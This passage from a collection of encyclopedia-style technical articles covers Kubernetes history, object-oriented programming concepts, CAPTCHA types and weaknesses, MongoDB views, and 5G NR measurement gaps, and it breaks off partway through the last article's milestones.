invokes the container runtime on the node and launches the container. An agent called **kubelet** runs on each node to manage containers. \n\nKubernetes essentially does three things: resource management, scheduling and load balancing. Periodically, the controller obtains pod utilization and uses this to scale. This scaling is transparent to clients since everything is exposed as **services**. \n\n\n### Why do we need pods when containers might be good enough?\n\nWhile Kubernetes could have been designed to map containers directly to nodes, pods offer an extra level of abstraction to simplify container management. Because there are different container implementations—Docker, rkt, LXD, Windows Containers —pods provide a unified interface. \n\nPods also encapsulate containers that closely depend on one another. Each pod has an IP address and all its containers share the same port space. Inter-process communication (IPC) and sharing storage across containers in the pod is also easy. \n\nWhen a pod is scheduled, all its containers are scheduled. One may argue why not bundle them into a single container. This violates the \"one process per container\" principle. Having multiple processes in a container makes it difficult to debug problems. By using pods, if a container fails, it will be restarted while other containers in the pod remain unaffected. \n\nIt's perfectly valid for a pod to have a single container. An example use case of a multi-container pod is a main container plus a sidecar container. The latter can be a log watcher or a data loader. \n\n\n### What are some criticisms of Kubernetes?\n\nSince Kubernetes manages the low-level details, if something is wrongly configured or things don't work as expected, it can be difficult to find the root cause. Kubernetes dashboard provides limited information though more detailed information is available via command line interface. \n\n## Milestones\n\n2003\n\nInternal to Google, **Borg** is conceived and built for large scale cluster management. The idea is to use resources at high utilization while running hundreds of thousands of jobs. Borg is the system that goes on to power Google Cloud Platform and Google Compute Engine. Details of Borg are not disclosed outside of Google until much later in 2015. \n\n2013\n\nWithin Google, **Omega** is introduced as a successor to Borg. From the experience of Borg and Omega, some Google engineers think of building an open source container management system. A prototype is built within three months. \n\nJun  \n2014\n\nThe first public commit of Kubernetes code is made in GitHub. A few days later, it's released to the world at DockerCon. \n\nJul  \n2015\n\nVersion 1.0 of Kubernetes is released at Open Source Convention (OSCON). With Kubernetes as the its first project, **Cloud Native Computing Foundation (CNCF)** is founded. \n\nNov  \n2015\n\nKubeCon is organized in San Francisco as the first Kubernetes conference. \n\n2016\n\nThis is the year when Kubernetes goes mainstream with more conferences, developers and features. The game Pokemon GO that becomes an international is powered by Kubernetes. Windows Server Support arrives. In May, v0.1.0 of **minikube** is released to deploy a single-node Kubernetes cluster in a VM locally. \n\n2017\n\nThis is the year when we see greater adoption of Kubernetes among enterprises. By October, it's possible for Docker containers to seamlessly use either Docker Swarm or Kubernetes. \n\nFeb  \n2018\n\nIn Kubernetes 1.9, as an alpha release, there's support for **pod priority and preemption**. High-priority workloads can thus scale faster than cluster autoscaler can add nodes. This leads to better resource utilization, lower costs and better service levels for critical applications. \n\nMay  \n2018\n\nKubernetes now supports **Containerd** containers. DigitalOcean offers Kubernetes as a hosted service. Google offers its own **Google Kubernetes Engine (GKE)**. Similar services from Microsoft and Amazon follow.","meta":{"title":"Kubernetes","href":"kubernetes"}}
{"text":"# Object-Oriented Programming Concepts\n\n## Summary\n\n\nDevelopers who are familiar with procedural languages such as C and Pascal will understand variables, functions, and scope. When learning an object-oriented programming (OOP) language such as Java or C++, the same developers might have difficulty. This article presents an overview of OOP concepts.\n\nWhereas the building block of procedural languages is a **function** or procedure, the building block of OOP languages is an **object**. Procedural languages have variables (data) and functions (code). In OOP, objects contain both data and code. With procedural languages, functions operate on data. With OOP, objects operate on their own data and selectively expose this data to other objects. \n\nDifferent OOP languages sometimes differ in terminology. Some OOP languages may lack advanced OOP features. In general, OOP concepts are mostly similar across languages.\n\n## Discussion\n\n### What are objects and classes in OOP?\n\nIn the real world, just about anything can be seen as an object: car, dog, person, department, city, etc. These have **state** and **behaviour**. For example, a dog's state is its colour, breed and name; its behaviour is the way it barks, runs or wags its tail. Objects in OOP are quite similar. \n\nIn OOP, an **object** is a software construct that includes both data and code to process that data. Unlike procedural languages in which functions are independent of variables, OOP objects retain control of their state and how others can affect that state via executable code. Data specifies the state of the object whereas executable code specifies behaviour. A real-world dog could be represented in OOP as a software object. \n\nLet's create many dogs of the same or different breeds. It's inefficient to write code for each dog. This is where the concept of **class** becomes important. A class is sort of a blueprint from which an object can be created. Thus, each dog is an *instance* of the same `Dog` class. **Instantiation** is the process of creating objects or instances from classes. \n\n\n### What are attributes and methods of objects in OOP?\n\nAttributes contain an object's state. Methods define an object's behaviour. Both are bound to the object and therefore accessed via the object. Attributes are also called properties, fields or instance variables. Each object has its own copy of attributes in memory. As for methods, only their addresses are stored within an object. Attributes and methods are also called **members**. \n\nConsider the class `Rectangle`. It's attributes could be `length` and `breadth`. It's methods could be `getArea()` and `rotate()`. \n\nTwo special methods are worth noting: constructor and destructor. When an object is instantiated from its class, the **constructor** method is called to initialize the object state. When the object is destroyed, its **destructor** method is called so that necessary clean up is done. \n\nConsider a database connector class. The constructor method might initialize the database server IP address, port, username and password for access. It might even open the DB connection. The destructor on the other hand might abort pending queries and close the connection. Other methods of the class might manage the connection, process DB queries and responses. \n\n\n### Which are the essential concepts of OOP?\n\nAmong the many concepts of OOP, three stand out: \n\n    + **Encapsulation**: A class and its instances bring together attributes and methods that are closely related. Encapsulation hides internal implementation and exposes public interfaces. Thus, it achieves *data hiding*.\n    + **Inheritance**: Using an existing class, a more refined class can be created. The former is called a *base class* or *super class*. The latter is called a *derived class* or *subclass*. For example, `Shape` is a base class from which `Square` and `Circle` are derived classes. Base class might define common attributes such as colour and line width. Derived classes might define more specific attributes such as length or radius, and specific methods to compute area and perimeter.\n    + **Polymorphism**: Different classes having the same attributes and methods, though implemented differently, can be interchanged at runtime. For example, a `Canvas` object might wish to compute the area of a shape object. It doesn't care if it's a square or a circle since both have the `getArea()` method. Canvas object calls this method on a shape object and the correct method of the current derived object is called.\n\n### What is meant by abstraction in OOP?\n\nAbstraction is about describing something at a conceptual level while leaving out the details. For example, we may talk about a vehicle without being explicit if it's a ship or a car. Abstraction a useful design tool since considering too many details upfront can be distracting and confusing. We start with an abstract concept and refine it later by adding more details to it. It's been said that, \n\n> Abstraction hides details at the design level, while encapsulation hides details at the implementation level.\n\nConsider `Shape` class with members `color` and `getArea()`. Subclasses `Rectangle` and `Triangle` implement how area is calculated. Since `Shape` doesn't know how to calculate area, we call it an **abstract class**. It can't be instantiated. Only its subclasses that provide an implementation of `getArea()` can be instantiated. Shape's `getArea()` is an **abstract method**. \n\nOther than inheritance, an alternative to achieve abstraction is to use interfaces. **Interfaces** provide method signatures without implementing them. Classes that adopt these interfaces are required to implement them. **Mixins** are similar to interfaces except that they implement the methods themselves. \n\n\n### How is composition different from inheritance in OOP?\n\nConsider the classes `Vehicle`, `Car` and `Engine`. Car is a *type of* vehicle whereas engine is *part of* a car. The relationship between vehicle and car is best modelled as **inheritance**: `Car` is a subclass of `Vehicle`. The relationship between engine and car is best modelled as **composition**: an `Engine` instance is an attribute of either `Vehicle` or `Car` class. \n\nWhile both inheritance and composition are relevant to OOP, it's important for software architects and designers to look at the relationships among classes to select the right one. Specifically, we should ask, \"Is it a *is-a* or a *has-a* relation?\" Inheritance is a pillar of OOP but composition is essential to every language. \n\nTwo other concepts closely related to composition are **association** and **aggregation**. Aggregation describes a *part-whole* relation. A `Course` object is part of a `DegreeProgram` object. It's also a many-to-many relation since the same course can belong to different programs and a program has many courses. \n\nSome languages such as JavaScript, allow **prototypal inheritance**. Object prototypes form the basis of other objects. Classes don't exist.  \n\n\n### What are access modifiers in the context of OOP?\n\nIt's possible to restrict access to classes, methods and attributes. By the *principle of least privilege*, limit access only to classes that need it. \n\nIn Java, when no access modifier is specified, all classes within the package get access. Otherwise, we can use the following access modifiers:  \n\n    + `public`: Access is allowed for all classes.\n    + `protected`: Access is allowed for subclasses (in any package) and classes within the same package. Thus, access is allowed only to closely related classes.\n    + `private`: Access is allowed only within the class to which the members belong. This is typically used to hide data within the class. Any access to private data is provided via methods. Read and write access are via **getters** and **setters** respectively. These are also called **accessors** and **mutators**.In Kotlin, the term *visibility modifier* is used. Modifier `internal` gives access to all classes within the same module. Modifier `protected` gives access to subclasses. \n\nIn C++, access modifiers can also be applied to inheritance. For example, private inheritance would make all methods and attributes of the base class private and therefore inaccessible to the subclass. \n\n\n### What are static classes and methods?\n\nWe know that objects are at the centre of OOP. However, there are use cases that don't need to store state. Class methods operate only on the input arguments they receive. In this case, we use a **static class**. In .NET, `System.Math` is an example of a static class. \n\nA static class contains only static members. It can't be instantiated into objects. It's accessed by its class name, and not by instance variable name as is customary with objects. \n\nSometimes we wish to share an attribute across all objects of a class. For example, `numberOfBicycles` is an attribute that should be shared across all `Bicycle` objects. Java's `static` modifier can be used to make this a **static variable**. Likewise, a method to access this static attribute is called a **static method**. Static methods can access only static members. The class itself need not be static. \n\n\n### What are some additional concepts in OOP?\n\nSome OOP concepts are not common to all languages or were introduced later as languages evolved. We mention a few of these:\n\n    + **Multiple Inheritance**: This is when a subclass inherits from multiple base classes. C++ and Python support this. In Java and C#, a class can implement multiple interfaces but not inherit from multiple classes.\n    + **Generics**: Classes, methods and interfaces that can be parameterized are called generics. For example, a class might implement a set of objects with parameterized type. Thus, the same class definition can be used to instantiate a set of `Shape` objects or `Car` objects.\n    + **Templates**: Whereas types in generics are substituted at runtime, types in templates are specialized at compile time. Each template specialization has its own compiled code. C++ and D support templates.\n    + **Delegates**: We can call a method via its delegate that has a compatible method signature. With delegates, methods can be passed as arguments to other methods.\n    + **Reflection**: Not exclusive to OOP, reflection allows a class to introspect and modify its own definition. In Java, reflection is possible on classes, interfaces, fields and methods at runtime. This is often useful for testing, data serialization and metaprogramming.\n\n\n## Milestones\n\n1967\n\n**Simula 67** is born, officially the first object-oriented programming language. It's initially used in computer simulations. Classes in this language are called *processes* since object lifecycle depends on the process executing the statements. \n\n1985\n\nIn the mid-1980s, many systems and application programmers adopt C++ for OOP. It takes another decade (1990s) for OOP to become more widely adopted. \n\nOct  \n1994\n\nObject-oriented programming (OOP) and object-oriented design (OOD) are quite complex. To give software architects and developers guidelines to get these right, principles and design patterns have evolved over the years. At ACM's annual OOPSLA conference, four authors announce their book titled *Design Patterns: Elements of Reusable Object-Oriented Software*. This book describes 23 **software design patterns**. In time, this book becomes an essential read for OOP and OOD. \n\nDec  \n1997\n\nObject Management Group (OMG) standardizes **Unified Modelling Language (UML), v1.1**. It's roots are in OOP. It's evolution can be traced to the early 1990s. UML establishes a common language among stakeholders involved in the design of object-oriented software and systems. Subsequently, UML undergoes many revisions, with v2.5.1 coming out in December 2017. \n\n2002\n\nRobert Martin publishes a book on Agile where he describes five principles of OOD. Sometime later, Michael Feathers coins the term **SOLID** as a useful way to remember the principles.","meta":{"title":"Object-Oriented Programming Concepts","href":"object-oriented-programming-concepts"}}
{"text":"# CAPTCHA\n\n## Summary\n\n\nCAPTCHA is an acronym for *Completely Automated Public Turing Test To Tell Computers and Humans Apart*. CAPTCHA may be described as a cyber security tool often used on websites. Websites that offer a service or collect data require the user to give inputs. This process can be thwarted with the use of bots. Bots can present themselves as humans with fake identities.\n\nCAPTCHAs are designed in many ways but all of them have the same goal: to let humans into the system and deny admission to bots. They attempt to do this by presenting problems that are hard for bots to solve but relatively easy for humans to solve. With the coming of Artificial Intelligence (AI), computers have become smarter at solving CAPTCHAs. Therefore CAPTCHAs themselves have evolved to counteract intelligent bots.\n\n## Discussion\n\n### Where do we need CAPTCHAs?\n\nAutomated programs or bots are fast compared to humans. This gives bots an unfair advantage. For example, bots can book tickets in bulk and then sell them later at a higher price in the black market. Likewise, bots can generate bulk votes and thereby skew the results of an online voting system. Bots can also be used to spam, troll or trigger DDoS attacks. Here are some use cases where CAPTCHAs are useful: \n\n    + Booking of tickets.\n    + Online voting system.\n    + Creating a new online/email account.\n    + Preventing dictionary attack in password systems.\n    + Promoting products as a comment to a blog post.\n    + Liking or sharing a web page via social networking sites.\n    + Protecting site contents from scrapers or search engine bots.\n    + Stealing personal information at chat rooms.\n\n### Why is a CAPTCHA sometimes called a reverse Turing test?\n\nTuring test was conceived in 1950 by Alan M. Turing as a way to check if machines were as intelligent as humans. If a human interrogator interacting electronically with a machine and another human cannot tell which of them is the machine, then the machine passes the Turing test. \n\nWith CAPTCHA, the interrogator is not a human but a computer. Hence the term reverse Turing test is sometimes used. \n\n\n### What are the different types of CAPTCHAs?\n\nThe following is a broad classification:\n\n    + Text-based: Users have to type the characters from a distorted text.\n    + Image-based: Users are asked to select images belonging to a certain group, such as those containing cats.\n    + Video-based: Users are shown short video clips and asked to answer a question based on it. NuCAPTCHA is an example.\n    + Audio-based: Users listen to an audio clip and type what they hear.\n    + Action-based: Users are asked to perform some action. reCAPTCHA V2 asks users to click a checkbox. MotionCAPTCHA asks users to trace a shape on the canvas. Dynamic Cognitive Game (DCG) is another example.\n    + Question-based: Users are presented a question that they have to answer correctly. Examples include \"What is 1 + six?\" or \"Flower, resting, lawyer, campsite: the word starting with 'c' is?\"\n    + Fun-based: Users are asked to solve a puzzle or play a game. Bongo is an example. PlayThru from Are You A Human is another example.\n    + Invisible: User verification is done in the background without requiring specific user inputs. Google introduced this with its Invisible reCAPTCHA.\n    + Hybrid: Combinations of the above.\n\n### How are CAPTCHAs related to AI?\n\nComputers are getting faster and having access to more memory than before. The algorithms that power them are getting better. So tasks that were once difficult for computers are becoming easier. This means CAPTCHAs that were previously unsolvable are becoming solvable by bots.\n\nAdvances in optical character recognition (OCR) have enabled bots to solve text-based CAPTCHAs. Image-based CAPTCHAs can be cracked due to advances in image processing, pattern recognition and object recognition. Question-based CAPTCHAs rely on advances in natural language processing (NLP). Audio-based CAPTCHAs too can be solved due to advances in speech-to-text processing. With reCAPTCHA, humans assist machines in solving difficult problems. All these contribute to machines getting smarter everyday.\n\nUltimately, we have to come up with better CAPTCHAs to defeat smarter bots. A CAPTCHA that's secure today may not be so tomorrow. reCAPTCHA's creator Luis von Ahn commented in 2012 that CAPTCHAs could become useless in another ten years. \n\n\n### What techniques are typically used to solve CAPTCHAs?\n\nLet's note that text-based are presented as images. To solve text-based CAPTCHAs, segmenting the text into individual characters is the first step. One way to enhance OCR is to remove noise. Image transformation such as rotating, shifting, mirroring, warping can lead to better OCR. With audio, waveform analysis can help in solving the CAPTCHA. Machine learning that solves segmentation and the recognition problems simultaneously have been shown to give better results. \n\nSome sites don't implement CAPTCHA in a secure manner. They can be vulnerable due to reuse of session ID of a known CAPTCHA image. \n\nWeb services have come up to solve CAPTCHAs: Death by CAPTCHA, 2Captcha. Where the economics make sense, some of these use humans to solve the CAPTCHAs. Some web services forward the CAPTCHA to pornographic sites. Visitors need to solve the CAPTCHA before they can view pornographic content. It's been argued that this is not really economical. \n\n\n### Are there guidelines to making good CAPTCHAs?\n\nSome guidelines are worth noting: \n\n    + Accessibility: Give users options. Audio CAPTCHAs are suited for the visually impaired. Allow users to request another CAPTCHA if a particularly hard one comes up. With touchscreen interfaces, text-based CAPTCHAs are less suited compared to CAPTCHAs that require clicks or drag-and-drop actions.\n    + Dynamic generation: Avoid serving CAPTCHAs from a fixed database. CAPTCHAs should be generated dynamically. Avoid using trivial distortions. Avoid reuse of CAPTCHAs.\n    + Security: Avoid sending the solutions to the client along with the challenge.\n\n### What are reCAPTCHAs?\n\nreCAPTCHA was invented by researchers at Carnegie Mellon University in 2007. It used distorted characters of text. Rather than using just one word, a pair of words was presented to the user. One of these words is known to the CAPTCHA system but the other one is unknown. Such unknown words, rather than being randomly generated, were picked up from old books or articles that were being digitized. Since state-of-the-art OCR systems had difficulty deciphering these words, why not crowdsource this task to humans via CAPTCHA? It was with this idea that reCAPTCHA was born. \n\nThus reCAPTCHA in its original form helped in digitizing scanned text. In 2008, it was claimed that the system had transcribed 440 million words via 40,000 sites. \n\nreCAPTCHA was acquired by Google in 2009. It evolved into No CAPTCHA reCAPTCHA (aka reCAPTCHA V2) in 2014. In 2017, Google introduced Invisible CAPTCHA. With these newer versions, the CAPTCHA system tracks user behaviour to determine if it's coming from a bot. This includes mouse movement, scrolling of the page, time taken to submit a form, and many more.\n\n\n### How effective are CAPTCHAs in stopping bots?\n\nOne of the early CAPTCHAs, Gimpy, was used by Yahoo. In October 2002, a program was able to solve Gimpy CAPTCHAs. Back in 2005, W3C stated that many CAPTCHA systems could be solved with 88-100% accuracy. At PARC, one researcher was able to crack Assira CAPTCHA with 7.5% probability. Blogger Jeff Atwood reports that CAPTCHAs of Yahoo, Hotmail and Google were broken in early 2008. \n\nA Stanford team showed in 2010 that their Decaptcha tool could bypass many text-based CAPTCHAs. At a conference in 2012, a program was able to solve Google's audio CAPTCHA 99.1% of the time. In 2013, Vicarious AI claimed to be able to solve CAPTCHAs 90% of the time. Google itself reported that distorted text can be solved by AI with 99.8% accuracy. Using machine learning, researchers in 2014 were able to crack reCAPTCHA with 33% success rate and Baidu at 39%. \n\nThis does not mean that CAPTCHAs are useless. It just means that current CAPTCHAs have to be better than what AI is capable of solving.\n\n\n### Are there alternatives to using CAPTCHAs?\n\nWCAG Working Group of W3C has a list of alternatives to using CAPTCHAs. Another list is by Karl Groves. It's important to note that alternatives may not work all the time since smart bots may find a way, now or in the future, to bypass them.\n\nHoneypots and timestamp analysis are alternatives that have proven effective. Another option is to use an anti-spam service such as Akismet, Mollom and SBlam. It's possible to enforce user verification via emails or text messages sent to their mobiles. While this may defeat bots, it reduces usability for humans. Game-based CAPTCHAs are still CAPTCHAs but they are less annoying and more fun to users. It has been claimed that PlayThru takes on average 10-12 seconds compared to 12 seconds of text-based CAPTCHA. \n\n\n### What are the accessibility issues surrounding CAPTCHAs?\n\nIn response to smarter bots, CAPTCHAs have gotten more sophisticated. Unfortunately, this makes it harder for humans as well. A study from 2009 found the while CAPTCHAs reduced spam, they also reduced conversion rates. Another study with Animoto web app showed that conversion rates were better by 33% without using CAPTCHAs. A survey from 2010 showed that audio CAPTCHAs for non-native speakers of English are hard. Even with text-based CAPTCHAs, some text can be hard to solve. In 2000, success rate was 97% but this dropped to 92% in 2012. \n\nIt has been claimed that CAPTCHAs ignore issues that senior citizens and visually impaired face. A study from 2009 with visually impaired showed that with audio CAPTCHAs success rates was only 45% and it took users 65 seconds to solve one. \n\nHarry Brignull has even questioned the approach, \"Using a CAPTCHA is a way of announcing to the world that you’ve got a spam problem, that you don’t know how to deal with it, and that you’ve decided to offload the frustration of the problem onto your user-base.\" \n\n\n### Can you name some providers of CAPTCHAs?\n\nGoogle's reCAPTCHA is the well known. As of March 2017, more than million websites are using it. Also, 11.2% of the top 10k sites are using it. NoMoreCaptchas is a possible alternative to Invisible reCAPTCHA since it does not require explicit input from users.\n\nPICATCHA is an image-based CAPTCHA that also uses it as an advertising medium. Microsoft had a research project named Asirra that used image-based CAPTCHA. Confident CAPTCHA claims 96% success rate and usage of 50 million verifications per month. Other examples are Ironclad CAPTCHA, PlayThru, NuCAPTCHA and Solve Media. Site captchas.net is free service. BotDetect CAPTCHA uses image and sound. JCAPTCHA, implemented in Java, can be downloaded and integrated into websites. Dice Captcha shows pictures of dice.\n\n\n### In my automated tests, how can I test form submissions that have CAPTCHAs?\n\nOne approach is to disable CAPTCHAs during testing. Depending on the system, this could be in code or a flag in the database. Attempting to automatically solve CAPTCHAs is a fundamentally flawed approach. If test automation can solve, it really suggests that the CAPTCHA is not strong enough to prevent bots from passing themselves off as humans. \n\n## Milestones\n\n1996\n\nDEC uses a pixelated image of the US flag as CAPTCHA for gathering opinion polls before the US Presidential Election 1996. This method doesn't work very well. Simple programs could click the flag correctly. \n\n1997\n\nScientists at DEC led by Andrei Broder design a noise-induced text-based CAPTCHA. This is used by AltaVista to prevent bots from adding URLs to the search engine's platform. \n\n2000\n\nLuis von Ahn, Manuel Blum, Nicholas Hopper and John Langford of Carnegie Mellon University come up with a better text-based CAPTCHA. They coin the term **CAPTCHA**. \n\n2007\n\n**reCAPTCHA** is invented at Carnegie Mellon University. Later, as part of Google, Google deprecates this version in May 2016, and shuts it down in March 2018. \n\nDec  \n2008\n\nInventors of reCAPTCHA introduce the audio version of the same. \n\nSep  \n2009\n\nGoogle acquires reCAPTCHA since this can also assist with digitization as part of Google Books and Google News Archive Search. Also known as **reCAPTCHA v1**, it's shutdown in March 2018. \n\nDec  \n2014\n\nGoogle releases reCAPTCHA v2, also known as **No CAPTCHA reCAPTCHA**. Users merely have to click a checkbox that says \"I'm not a robot\". \n\nMar  \n2017\n\nGoogle launches a variant of reCAPTCHA v2 and calls it **Invisible reCAPTCHA**.  This does not require explicit user inputs. \n\nOct  \n2018\n\nGoogle launches **reCAPTCHA v3**. This doesn't require users to solve any CAPTCHA and gives greater control to website owners. reCAPTCHA v3 returns a score (1.0 for good interaction, 0.0 for a likely bot). Based on this score, website owners can take appropriate action. In March 2019, it's reported that reCAPTCHA v3 has been partially tricked by an AI program using Reinforcement Learning.","meta":{"title":"CAPTCHA","href":"captcha"}}
{"text":"# MongoDB View\n\n## Summary\n\n\nMongoDB's aggregation pipeline processes documents of a collection through one or more stages. Views are read-only results of such aggregations. With views, consumers can simply read those results without needing to execute the aggregation pipeline again. \n\nMongoDB's views are **non-materialized** by nature, that is, the views are created and updated on the fly. Results are not persisted on disks. Since MongoDB 4.2, **on-demand materialized views** are also possible with the `$merge` pipeline stage. Such views are stored in an output collection that are updated every time the pipeline is executed. \n\nViews are useful for many use cases. They bring benefits in terms of data privacy, performance tuning, code reuse, and analytics. Non-materialized views take up very little storage: view data is not stored, only view definition is stored. Views add a layer of abstraction between the application and complex aggregation pipelines.\n\n## Discussion\n\n### What are some use cases for MongoDB views?\n\nAn organization's employee data can have sensitive information. When exposing this data to applications, personal and private information can be excluded in a view. An alternative to exclusion, is to pseudonymize fields, which is necessary for regulatory compliance such as for GDPR. Applications have access only to the view, not the underlying collection. \n\nIn IoT, applications may not require every single measurement provided by the sensors. In many cases, they require only aggregates: counts, min/max values, averages, etc. A view stores these aggregates and keeps them updated as new data arrives. A specific example is a collection that contains daily rainfall. A view stores monthly averages, which can then be more easily queried for driest and wettest months. \n\nWhen analysis requires data from multiple collections, views can offer applications a simpler interface. Applications need not be burdened with the underlying complex pipelines. For example, a view can bring together data from Inventory and Orders collection in an e-commerce application. \n\n\n### Could you describe MongoDB view with an example?\n\nConsider Game of Thrones data. Documents of the `characters` collection has names plus status. Status is optional and its value is either dead or alive. Status field can be considered as a spoiler. We wish to hide it for some consumers of this data. \n\nWe project the status field thus, `\"status\" : { \"$cond\": [{ \"$eq\": [ \"$status\", undefined ] }, $status = \"Not Specified\", $status = \"&ast;&ast;&ast;&ast;*\" ] }`. If undefined, we set it to `Not Specified`. Otherwise, we mask it with `&ast;&ast;&ast;&ast;*`. \n\nThe above projection can be used in a pipeline on the `characters` collection and the result stored in a view named `charactersNoSpoil`: `db.createView(\"charactersNoSpoil\", \"characters\", <pipeline>)`. In addition, we could also include only some fields in the view via the projection. \n\nOnce views are setup this way, we can restrict access using `db.createRole()` and `db.createUser()`. It's also possible to enable auditing and analyse the logs to verify that access privileges are working as expected. \n\n\n### Can I create materialized views in MongoDB?\n\nSince MongoDB 4.2, on-demand materialized views are possible. The output can be stored in a collection in the same or different database. The output collection could be a sharded one. If collection doesn't exist, it's created. Results can go into an existing collection with the ability to merge/replace/keep existing documents, fail the operation or process documents with an custom update pipeline. On-demand materialized views are implemented via the `$merge` pipeline stage.  \n\nThe figure shows an example of `monthlybakesales` materialized view created from `bakesales` collection. The pipeline preceding the view groups data by year and month, and stores sales quantity and amount. When new sales figures are obtained for January 2019 and later, the view is updated by calling `updateMonthlySales(new ISODate(\"2019-01-01\"));`. \n\nIn the above example, the input and output are in the same database. If we plan to store the view in a different database named `reporting`, we can use the following syntax within `$merge`: `into: { db: \"reporting\", coll: \"monthlybakesales\" }`. For merging, documents are identified using `_id` field by default but `on` field can be used to customize this. \n\n\n### How do I deal with indexes for MongoDB views?\n\nViews use indexes of the underlying collection. This also means that we can't create, drop or rebuild indexes directly on views. \n\nFor on-demand materialized views, it's possible to create indexes. Indexes have to be unique as mandated by the `$merge` stage. An example of creating a unique index is `db.metricsByWeek.createIndex({week:1}, {unique:true})`. This can be used for merging with the field `on: \"week\"` or `on: [\"week\"]`. \n\n## Milestones\n\nFeb  \n2009\n\n**MongoDB 1.0** is released. By August, this version becomes generally available for production environments. \n\nNov  \n2016\n\nMongoDB 3.4 is released with support for **creating read-only views** from existing collections or other views. Options `viewOn` and `pipeline` are added to the existing `create` command. On the `mongo` shell, the corresponding helper is `db.createView()`. \n\nAug  \n2019\n\nMongoDB 4.2 is released. With the newly added stage `$merge`, we can create **on-demand materialized views**. Prior to MongoDB 4.2, `db.createView()` obtained exclusive lock on the parent database. With this release, exclusive lock is obtained only for the input collection or view. MongoDB Compass 1.19 is released. There's now support for **views in Compass**. \n\nJul  \n2020\n\nMongoDB 4.4 is released. When running `find` operation on a view, `$natural` sort is now possible. This is the order in which the database refers to documents on disk.","meta":{"title":"MongoDB View","href":"mongodb-view"}}
{"text":"# 5G NR Measurement Gaps\n\n## Summary\n\n\nMeasurement gaps are opportunities given to the UE to perform measurements on downlink signals. A UE can't perform inter-frequency or inter-RAT measurements while also transmitting or receiving. Even for intra-frequency measurements, a 5G UE may require measurement gaps if such measurements are to be performed outside the UE's currently active Bandwidth Part (BWP).  \n\nThe network configures a UE with measurement gaps via RRC signalling. The network configures these gaps such that they don't coincide with UE transmissions or receptions. It's possible to start with a few gaps and later reconfigure the UE with more gaps to gather neighbour cell measurements, for instance if a handover looks likely. \n\nMeasurement gaps are periodic. A UE may be configured with multiple measurement gaps. UE RRC informs Layer 1 of these gaps. Layer 1 obeys these gaps for making measurements. Collected measurements are reported to the network either at Layer 1 or RRC.\n\n## Discussion\n\n### What are the different types of 5G NR measurement gaps?\n\nThere are three types of gap patterns: gapUE, gapFR1, and gapFR2.  More commonly, these are called **per-UE** or **per-FR** gap types. \n\nIf the UE is capable, the network may signal separate gap configurations for FR1 and FR2. Otherwise, gapUE is used, that is, these gaps can be used for measurements in both FR1 and FR2. When either gapFR1 or gapFR2 is configured, gapUE can't be configured for the UE. \n\nIn NGEN-DC and EN-DC, signalling is over E-UTRA, not 5G NR. Hence, gapFR1 and gapUE are set up by LTE RRC. \n\nIn NE-DC and NR-DC, signalling is over 5G NR. Hence, gapFR1 and gapUE are set up by NR RRC. gapFR2 is always setup via NR RRC signalling. In NR-DC, the gaps must be associated with MCG. \n\n\n### What constitutes a measurement gap configuration?\n\nA measurement gap configuration has the following elements:  \n\n    + **Measurement Gap Repetition Period (MGRP)**: Specifies the gap period. Values include 20, 40, 80, 160ms. For example, for 40ms the gap repeats every four frames.\n    + **Gap Offset**: Specifies the starting subframe when the gap starts. Being relative to period, it's range is 0 to mgrp-1.\n    + **Measurement Gap Length (MGL)**: Specifies the duration of the gap in milliseconds. Values include 1.5, 3, 3.5, 4, 5.5, and 6ms. For positioning measurements, 10 and 20ms are applicable.\n    + **Measurement Gap Timing Advance (MGTA)**: UE starts measurements in advance of the subframe when the gap starts. This could be 0, 0.25 or 0.5ms. For FR2, 0 and 0.25ms are applicable.\n    + **Reference Serving Cell Indicator**: Applicable for NE-DC and NR-DC, this indicates which cell's SFN and subframe numbering to use for gap calculation.The 5G system has what's called a System Frame Number (SFN), a frame being 10ms long. This is divided into 10 subframes, each of 1ms duration. A measurement gap is configured by the following equations:\n\n$$SFN\\;mod\\;(mgrp/10)\\;=\\;FLOOR(gapOffset/10)\\\\subframe\\;=\\;gapOffset\\;mod\\;10$$\n\nApplying this to the figure, we get `SFN mod 4 = 2` and `subframe = 4`.\n\n\n### What are measurement gap pattern configurations?\n\nThe standard specifies 26 different **gap pattern configurations**. Each pattern is a combination of MGL and MGRP. \n\nNot all patterns are always applicable. The standard defines applicable patterns with respect to gap type, serving cell type, and measurement purpose. A UE can indicate if it support per-FR type. Otherwise, it's expected to support all gap pattern configurations that are applicable. \n\n\n### In 5G NR, how does a measurement gap relate to SMTC?\n\nTo make neighbour cell measurements, the network informs the UE the timing of neighbour cell SSBs via what's called SSB Measurement Timing Configuration (SMTC). UE will measure all SSBs that fall within a configured SMTC window. This window is contained with a measurement gap. Network configures measurement gap length and SMTC window based on SSB burst periodicity. \n\nSSB burst periodicity can have values 5/10/20/40/80/160 milliseconds. However, a UE in connected mode need not measure so often, particularly under good channel conditions. In such cases, SMTC window periodicity can be longer. \n\nTwo examples are shown in the figure. We also note that the entire measurement gap is usually not used for measurements. A UE requires some time for retuning its RF transceivers. Hence, actual measurement duration is smaller than the measurement gap length. \n\n\n### Why does a 5G UE require the Measurement Gap Timing Advance (MGTA)?\n\nIn some cases, measurement gap starts at the same time as SMTC window. Given the time needed to retune RF, this implies that UE may miss some SSBs that it's supposed to measure. This is solved by informing the UE to advance the start of the configured measurement gap. This advance is 0.5ms for FR1 and 0.25ms for FR2. \n\n\n### What is measurement gap sharing in 5G NR?\n\nA UE may need measurement gaps for both intra-frequency and inter-frequency measurements; or in either case, the SMTC window fully overlaps with the configured measurement gap. In such cases, configured measurement gaps may need to be shared between intra-frequency and inter-frequency measurements. The gaps could be per-UE or per-FR. \n\nThe sharing is determined by RRC signalling of \\(X\\) that can take four values: equal split, 25, 50, 75. It's applied as follows: \n\n$$K\\_{intra} = 1 / X \\* 100 \\\\ K\\_{inter} = 1 / (100 – X) \\* 100$$\n\nDetails of measurement gap sharing are defined in TS 38.133 for four scenarios: EN-DC, SA, NE-DC and NR-DC. \n\nSharing affects the calculation of Carrier-Specific Scaling Factor (CSSF) that scales the measurement delay requirements defined in the standard. \n\n\n### What are autonomous gaps in 5G NR?\n\nAs part of reporting configuration, the network may ask the UE to report Cell Group Identity (CGI). This report is not exactly a measurement but it requires the UE to acquire system information from neighbour cells. The relevant messages to decode are MIB and SIB1. For doing this, IE `useAutonomousGaps` may be configured. \n\nAutonomous gaps is when the network doesn't configure measurement gaps for the UE. UE autonomously selects suitable gaps to receive system information of neighbour cells. \n\n## Milestones\n\nDec  \n2017\n\n3GPP publishes Release 15 \"early drop\". In this release, measurement gaps and gap patterns are partially defined. Some details are marked for further study. \n\nJul  \n2020\n\n3GPP 